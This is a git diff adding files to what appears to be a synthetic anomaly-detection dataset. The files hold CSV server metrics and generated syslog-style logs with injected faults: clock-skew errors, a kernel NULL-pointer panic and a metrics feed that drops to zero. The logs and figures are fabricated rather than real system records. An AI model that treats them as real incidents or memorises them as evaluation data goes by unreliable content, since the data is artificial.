+2025-08-23T10:02:45Z,15.2,46.03,21.77,0.94,1.48 +2025-08-23T10:02:50Z,19.94,43.19,22.45,1.12,1.24 +2025-08-23T10:02:55Z,15.87,45.7,22.98,0.64,1.49 +2025-08-23T10:03:00Z,19.23,49.04,23.7,0.72,1.8 +2025-08-23T10:03:05Z,19.43,40.6,21.82,1.46,1.74 +2025-08-23T10:03:10Z,20.07,42.4,22.01,0.54,1.5 +2025-08-23T10:03:15Z,24.83,49.99,28.19,0.91,1.45 +2025-08-23T10:03:20Z,22.78,45.38,26.71,0.55,1.43 +2025-08-23T10:03:25Z,21.11,43.25,22.98,0.5,1.43 +2025-08-23T10:03:30Z,15.94,47.05,24.94,1.14,0.84 +2025-08-23T10:03:35Z,21.47,41.43,24.66,1.23,1.5 +2025-08-23T10:03:40Z,17.01,43.02,21.88,0.79,1.69 +2025-08-23T10:03:45Z,19.4,42.36,21.02,0.94,1.5 +2025-08-23T10:03:50Z,22.55,43.02,21.59,1.19,1.5 +2025-08-23T10:03:55Z,15.36,49.26,22.78,1.47,1.54 +2025-08-23T10:04:00Z,24.49,40.58,27.8,0.73,1.03 +2025-08-23T10:04:05Z,15.36,44.99,26.95,1.3,0.97 +2025-08-23T10:04:10Z,24.99,44.98,24.25,0.9,1.17 +2025-08-23T10:04:15Z,15.1,49.77,25.38,0.97,1.53 +2025-08-23T10:04:20Z,24.8,48.83,29.35,0.74,1.12 +2025-08-23T10:04:25Z,23.75,43.99,28.42,0.83,0.95 +2025-08-23T10:04:30Z,15.57,45.25,23.64,1.11,1.1 +2025-08-23T10:04:35Z,23.53,46.73,21.4,0.58,1.79 +2025-08-23T10:04:40Z,20.69,49.39,28.94,1.14,1.36 +2025-08-23T10:04:45Z,18.92,41.19,29.92,0.53,1.56 +2025-08-23T10:04:50Z,16.54,41.81,21.24,0.77,1.76 +2025-08-23T10:04:55Z,20.91,42.64,24.43,1.1,1.34 +2025-08-23T10:05:00Z,17.35,42.52,20.68,1.14,1.12 +2025-08-23T10:05:05Z,16.6,42.6,22.64,0.87,0.96 +2025-08-23T10:05:10Z,17.6,42.17,25.65,0.51,1.51 +2025-08-23T10:05:15Z,19.91,46.01,24.54,1.47,1.32 +2025-08-23T10:05:20Z,15.16,40.57,23.13,1.23,0.82 +2025-08-23T10:05:25Z,17.9,44.93,23.79,0.84,0.95 +2025-08-23T10:05:30Z,17.03,42.31,20.95,0.66,0.99 +2025-08-23T10:05:35Z,22.57,46.62,25.94,0.93,0.96 +2025-08-23T10:05:40Z,20.91,49.22,20.85,0.83,1.52 +2025-08-23T10:05:45Z,18.09,48.16,24.77,1.44,1.63 +2025-08-23T10:05:50Z,22.64,48.26,21.12,1.44,1.64 +2025-08-23T10:05:55Z,17.64,47.68,28.12,1.16,1.32 +2025-08-23T10:06:00Z,21.86,40.06,21.77,0.89,1.06 +2025-08-23T10:06:05Z,22.77,43.02,25.49,1.19,0.95 +2025-08-23T10:06:10Z,21.24,49.33,26.49,0.72,0.93 +2025-08-23T10:06:15Z,22.91,48.92,20.28,1.21,1.3 +2025-08-23T10:06:20Z,22.18,40.3,21.2,0.72,0.81 +2025-08-23T10:06:25Z,16.19,41.43,24.27,1.12,1.4 +2025-08-23T10:06:30Z,18.69,42.43,20.71,1.0,1.54 +2025-08-23T10:06:35Z,16.34,47.34,26.02,1.41,1.29 +2025-08-23T10:06:40Z,21.72,42.57,24.23,1.48,1.32 +2025-08-23T10:06:45Z,17.66,41.6,24.49,0.69,1.58 +2025-08-23T10:06:50Z,17.58,48.89,26.47,0.84,1.45 +2025-08-23T10:06:55Z,16.4,45.61,21.4,0.61,1.55 +2025-08-23T10:07:00Z,19.2,45.46,28.96,0.65,1.49 +2025-08-23T10:07:05Z,15.32,42.01,21.77,1.14,1.28 +2025-08-23T10:07:10Z,15.53,42.17,28.7,1.35,1.27 +2025-08-23T10:07:15Z,18.76,44.63,20.51,1.19,0.92 +2025-08-23T10:07:20Z,23.93,46.51,27.57,1.37,1.69 +2025-08-23T10:07:25Z,22.56,44.93,26.65,1.49,1.31 diff --git a/anom_dataset/scenario_16/anom_16_8.log b/anom_dataset/scenario_16/anom_16_8.log new file mode 100644 index 0000000000000000000000000000000000000000..ffe5c1fc95ab9f034b5732d2d354e62da0a45c51 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_8.log @@ -0,0 +1,90 @@ +Aug 23 10:00:00 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:00:05 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:00:10 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:00:15 server-1 systemd[1]: Started Session 21 of user root. +Aug 23 10:00:20 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:00:25 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:00:30 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:00:35 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:00:40 server-1 sshd[8019]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:00:45 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:00:50 server-1 cron[4865]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:00:55 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:01:00 server-1 sshd[12902]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:01:05 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:01:10 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:01:15 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:01:20 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:01:25 server-1 systemd[1]: Started Session 82 of user root. +Aug 23 10:01:30 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:01:35 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:01:40 server-1 systemd[1]: Started Session 70 of user root. +Aug 23 10:01:45 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:01:50 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:01:55 server-1 cron[14505]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:02:00 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:02:05 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:02:10 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:02:15 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:02:20 server-1 cron[17882]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:02:25 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:02:30 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:02:35 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:02:40 server-1 sshd[13495]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:02:45 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:02:50 server-1 sshd[7531]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:02:55 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:03:00 server-1 systemd[1]: Started Session 84 of user root. +Aug 23 10:03:05 server-1 sshd[18991]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:03:10 server-1 cron[5236]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:03:15 server-1 systemd[1]: Started Session 49 of user root. +Aug 23 10:03:20 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:03:25 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:03:30 server-1 cron[10448]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:03:35 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:03:40 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:13:45 server-1 auth[4512]: [WARN] Clock skew detected with authentication server. System time is ahead. Skew: 600s +Aug 23 10:13:50 server-1 sshd[5679]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:13:55 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:14:00 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:14:05 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:14:10 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:14:15 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:14:20 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:14:25 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:14:30 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:14:35 server-1 systemd[1]: Started Session 69 of user root. +Aug 23 10:14:40 server-1 cron[6527]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:14:45 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:14:50 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:14:55 server-1 sshd[14649]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:15:00 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:15:05 server-1 cron[3996]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:15:10 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:15:15 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:15:20 server-1 cron[17501]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:15:25 server-1 cron[6115]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:15:30 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:15:35 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:15:40 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:15:45 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:15:50 server-1 sshd[16704]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:15:55 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:16:00 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:16:05 server-1 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:16:10 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:16:15 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:16:20 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:16:25 server-1 systemd[1]: Started Session 87 of user root. +Aug 23 10:16:30 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:16:35 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:16:40 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 10:16:45 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:16:50 server-1 cron[7920]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:16:55 server-1 kubelet[2150]: INFO: Successfully probed container health-check +Aug 23 10:17:00 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 10:17:05 server-1 cron[12167]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:17:10 server-1 sshd[7107]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Aug 23 10:17:15 server-1 systemd[1]: Started Session 17 of user root. +Aug 23 10:17:20 server-1 cron[9323]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:17:25 server-1 sshd[12478]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 diff --git a/anom_dataset/scenario_16/anom_16_9.csv b/anom_dataset/scenario_16/anom_16_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..c2ed6f700c0cadedb808239e049f38f131a0e0b7 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,11.12,38.19,30.79,0.94,0.95 +2025-07-16T10:00:05Z,15.76,42.44,30.38,0.98,0.77 +2025-07-16T10:00:10Z,15.66,39.98,33.41,1.02,0.8 +2025-07-16T10:00:15Z,13.15,38.6,33.18,1.36,0.87 +2025-07-16T10:00:20Z,12.91,35.26,35.24,1.21,0.41 +2025-07-16T10:00:25Z,15.8,47.62,27.94,1.19,0.54 +2025-07-16T10:00:30Z,16.55,45.35,27.38,0.95,1.06 +2025-07-16T10:00:35Z,13.0,44.83,31.68,0.99,0.42 +2025-07-16T10:00:40Z,15.33,43.6,25.02,0.9,0.66 +2025-07-16T10:00:45Z,15.26,36.38,34.46,1.15,0.82 +2025-07-16T10:00:50Z,20.46,39.83,32.9,1.2,0.65 +2025-07-16T10:00:55Z,12.42,38.54,22.7,0.83,0.98 +2025-07-16T10:01:00Z,13.15,35.23,37.66,0.7,1.0 +2025-07-16T10:01:05Z,13.64,42.29,31.18,1.14,1.04 +2025-07-16T10:01:10Z,17.36,43.69,34.54,0.84,0.58 +2025-07-16T10:01:15Z,13.87,37.24,24.45,0.8,0.61 +2025-07-16T10:01:20Z,16.38,37.8,29.22,1.11,0.81 +2025-07-16T10:01:25Z,17.89,40.99,28.05,1.17,1.0 +2025-07-16T10:01:30Z,16.01,36.84,35.09,1.24,0.81 +2025-07-16T10:01:35Z,17.24,37.51,36.17,1.2,0.56 +2025-07-16T10:01:40Z,14.17,38.36,29.52,0.59,0.7 +2025-07-16T10:01:45Z,11.49,40.01,27.73,1.12,1.01 +2025-07-16T10:01:50Z,15.29,42.91,31.3,1.11,0.69 +2025-07-16T10:01:55Z,14.53,40.47,36.18,1.03,0.93 +2025-07-16T10:02:00Z,18.42,44.62,39.59,0.97,0.89 +2025-07-16T10:02:05Z,16.38,40.98,29.84,1.06,0.65 +2025-07-16T10:02:10Z,14.91,41.15,31.14,1.56,0.76 +2025-07-16T10:02:15Z,17.78,40.93,29.15,1.26,0.95 +2025-07-16T10:02:20Z,14.13,42.9,30.39,0.98,0.7 +2025-07-16T10:02:25Z,16.55,46.77,24.29,1.07,0.45 +2025-07-16T10:02:30Z,15.33,43.21,32.46,0.67,0.65 +2025-07-16T10:02:35Z,15.71,36.07,30.43,1.06,0.58 +2025-07-16T10:02:40Z,13.8,41.67,39.73,0.83,0.88 +2025-07-16T10:02:45Z,14.29,38.45,30.45,0.58,0.75 +2025-07-16T10:02:50Z,14.2,39.87,32.24,1.43,0.58 +2025-07-16T10:02:55Z,14.7,37.78,28.68,0.68,0.57 +2025-07-16T10:03:00Z,11.26,39.73,25.2,1.11,1.12 +2025-07-16T10:03:05Z,14.23,42.55,32.23,0.99,0.65 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+2025-07-16T10:06:30Z,14.0,39.06,27.23,1.01,0.92 +2025-07-16T10:06:35Z,14.83,48.64,29.89,0.91,0.88 +2025-07-16T10:06:40Z,11.51,40.67,16.82,0.71,0.61 +2025-07-16T10:06:45Z,14.77,41.66,35.92,0.78,0.75 +2025-07-16T10:06:50Z,16.9,39.25,27.7,1.04,0.99 +2025-07-16T10:06:55Z,16.86,42.03,28.71,0.79,0.84 +2025-07-16T10:07:00Z,15.34,36.9,36.26,0.79,0.82 +2025-07-16T10:07:05Z,15.56,40.77,36.0,0.92,0.96 +2025-07-16T10:07:10Z,13.25,38.12,36.02,0.95,1.0 +2025-07-16T10:07:15Z,14.66,40.6,33.48,1.03,0.53 +2025-07-16T10:07:20Z,13.66,40.93,33.35,1.22,0.79 +2025-07-16T10:07:25Z,14.99,39.93,26.19,0.72,1.32 diff --git a/anom_dataset/scenario_16/anom_16_9.log b/anom_dataset/scenario_16/anom_16_9.log new file mode 100644 index 0000000000000000000000000000000000000000..0244414a52a76d135daa44524c713baa3b74975d --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_9.log @@ -0,0 +1,90 @@ +Jul 16 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:00:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:00:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:00:40 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:00:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:01:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:01:20 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:01:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:01:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 16 10:02:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:02:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 16 10:02:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:02:33 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:41 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:02:49 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:02:57 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:03:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:03:13 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:03:21 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:03:29 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:03:37 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:03:53 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:04:01 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:04:09 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:04:17 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:04:25 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:04:33 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:04:41 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:04:49 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:04:57 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:05:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:05:13 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:05:21 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:05:29 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:05:37 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:05:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:05:53 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:06:01 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:06:09 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:06:17 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:06:33 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:06:41 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:06:49 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:06:57 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:07:05 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:07:13 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:07:21 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:07:29 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:07:37 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:07:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:07:53 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:08:01 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:08:09 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:08:17 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:08:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:08:33 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:08:41 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:08:49 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:08:57 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:09:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:09:13 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:09:21 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:09:29 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:09:37 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:09:45 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:09:53 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 16 10:10:01 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:10:09 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 16 10:10:17 kerberos[4567]: ERROR Clock skew detected with KDC +Jul 16 10:10:25 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/anom_dataset/scenario_17/anom_17_1.csv b/anom_dataset/scenario_17/anom_17_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..0733da23321fcfba9ceccc1d76ad833661783b55 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,15.81,53.24,27.31,0.96,1.65 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+2025-07-02T10:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-02T10:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_1.log b/anom_dataset/scenario_17/anom_17_1.log new file mode 100644 index 0000000000000000000000000000000000000000..34a354f9d27ad228167837afc5541e7afa3fc74e --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_1.log @@ -0,0 +1,43 @@ +Jul 02 10:00:02 systemd[1]: Started Session 1 of user admin. +Jul 02 10:00:05 sshd[10234]: Accepted publickey for admin from 192.168.1.101 port 55234 ssh2 +Jul 02 10:01:10 CRON[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 10:02:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:02:55 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 10:03:40 kernel: [ 220.1345] audit: type=1400 audit(1751498620.130:50): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/localtime" pid=1234 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 02 10:04:10 kernel: [ 250.7891] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 02 10:04:10 kernel: [ 250.7892] IP: [] generic_make_request+0x29/0x160 +Jul 02 10:04:10 kernel: [ 250.7893] PGD 0 +Jul 02 10:04:10 kernel: [ 250.7894] Oops: 0000 [#1] PREEMPT SMP +Jul 02 10:04:10 kernel: [ 250.7895] Modules linked in: xfs ext4 crc16 jbd2 mbcache +Jul 02 10:04:10 kernel: [ 250.7896] CPU: 1 PID: 5432 Comm: kworker/u4:2 Not tainted 4.4.0-31-generic #50-Ubuntu +Jul 02 10:04:10 kernel: [ 250.7897] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 +Jul 02 10:04:10 kernel: [ 250.7898] task: ffff88003a2e8c80 ti: ffff88003a2f0000 task.ti: ffff88003a2f0000 +Jul 02 10:04:10 kernel: [ 250.7899] RIP: 0010:[] [] generic_make_request+0x29/0x160 +Jul 02 10:04:10 kernel: [ 250.7900] RSP: 0018:ffff88003a2f3d38 EFLAGS: 00010246 +Jul 02 10:04:10 kernel: [ 250.7901] RAX: 0000000000000000 RBX: ffff88003a2f3d88 RCX: 0000000000000000 +Jul 02 10:04:10 kernel: [ 250.7902] RDX: 0000000000000000 RSI: ffff88003a2f3d88 RDI: 0000000000000000 +Jul 02 10:04:10 kernel: [ 250.7903] RBP: ffff88003a2f3d48 R08: 0000000000000000 R09: 0000000000000000 +Jul 02 10:04:10 kernel: [ 250.7904] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8800374e6c00 +Jul 02 10:04:10 kernel: [ 250.7905] R13: ffff8800374e6c00 R14: 0000000000000000 R15: ffff88003a2f3d88 +Jul 02 10:04:10 kernel: [ 250.7906] FS: 0000000000000000(0000) GS:ffff88003ed00000(0000) knlGS:0000000000000000 +Jul 02 10:04:10 kernel: [ 250.7907] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Jul 02 10:04:10 kernel: [ 250.7908] CR2: 0000000000000000 CR3: 0000000039a04000 CR4: 00000000000406f0 +Jul 02 10:04:10 kernel: [ 250.7909] Call Trace: +Jul 02 10:04:10 kernel: [ 250.7910] [] submit_bio+0x48/0x140 +Jul 02 10:04:10 kernel: [ 250.7911] [] ? mempool_alloc+0x56/0x140 +Jul 02 10:04:10 kernel: [ 250.7912] [] _xfs_buf_ioend+0x105/0x220 +Jul 02 10:04:10 kernel: [ 250.7913] [] process_one_work+0x151/0x450 +Jul 02 10:04:10 kernel: [ 250.7914] [] worker_thread+0x55/0x480 +Jul 02 10:04:10 kernel: [ 250.7915] [] ? rescuer_thread+0x350/0x350 +Jul 02 10:04:10 kernel: [ 250.7916] [] kthread+0xd8/0xf0 +Jul 02 10:04:10 kernel: [ 250.7917] [] ? kthread_create_on_node+0x1e0/0x1e0 +Jul 02 10:04:10 kernel: [ 250.7918] [] ret_from_fork+0x3f/0x70 +Jul 02 10:04:10 kernel: [ 250.7919] [] ? kthread_create_on_node+0x1e0/0x1e0 +Jul 02 10:04:10 kernel: [ 250.7920] Code: 48 8b 57 10 48 85 d2 74 10 48 8b 47 18 48 85 c0 74 05 e8 f1 24 6e ff 4c 89 f7 e8 9d 2e 6e ff 49 8b 94 24 80 00 00 00 48 85 d2 <48> 8b 42 08 48 85 c0 74 05 e8 d6 24 6e ff 4c 89 f7 e8 82 2e +Jul 02 10:04:10 kernel: [ 250.7921] RIP [] generic_make_request+0x29/0x160 +Jul 02 10:04:10 kernel: [ 250.7922] RSP +Jul 02 10:04:10 kernel: [ 250.7923] CR2: 0000000000000000 +Jul 02 10:04:10 kernel: [ 250.7925] ---[ end trace 2a95c9a96e5a6f8f ]--- +Jul 02 10:04:10 kernel: [ 250.7926] Kernel panic - not syncing: Fatal exception in interrupt +Jul 02 10:04:10 kernel: [ 250.7927] Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) +Jul 02 10:04:10 kernel: [ 250.7928] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- diff --git a/anom_dataset/scenario_17/anom_17_10.csv b/anom_dataset/scenario_17/anom_17_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..a2cad682a7d8d92c345a7a8b9e27d8d22d45d112 --- /dev/null +++ 